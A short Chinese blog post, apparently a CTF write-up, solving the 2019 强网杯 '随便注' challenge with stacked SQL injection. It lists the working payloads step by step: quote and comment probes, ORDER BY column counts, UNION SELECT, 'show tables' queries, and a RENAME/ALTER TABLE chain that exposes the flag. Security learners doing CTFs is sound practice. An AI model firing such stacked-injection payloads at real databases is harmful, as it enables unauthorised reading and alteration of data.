因为最讨厌SQL注入类的题目,所以就打算搞个SQL注入专题慢慢更,记录一下自己忍着恶心(bushi)做的相关题目哈哈哈哈
强网杯 2019 随便注(堆叠)
Step1.判断是否存在注入,注入是字符型还是数字型
1'
1'--+ //报错
1'#
1'--(空格) //回显正常
判断应该存在SQL注入(这里的--(空格)、--+、#都是用来注释掉后面的SQL语句)
1' or 1=1 //报错
1' or '1'='1 //正常回显,并且输出
是字符型
Step2.判断存在字段数
1' order by 1# //正常回显
1' order by 2# //正常回显
1' order by 3# //报错
存在两个字段
Step3.查看字段内容
1' union select 1,2#
这题很善良直接告诉我们所有被正则过滤的字符,不需要一个个试过去,直接试堆叠
Step4.查看数据库
1';show databases;# //正常回显
确认是堆叠注入
Step5.查看数据表
1';show tables;# //正常回显
得到两个表flagg和words
Step6.查看字段值
1'; show columns from `words`; # //没什么有用的东西
1'; show columns from `flagg`; #
接下来就是如何获取flag了
思路是把flagg表改名为words表,把属性名flag改为id
1';RENAME TABLE `words` TO `words1`;RENAME TABLE `flagg` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words;# //正常回显
1' or '1'='1 或者 1' or 1=1# //回显flag
评论已关闭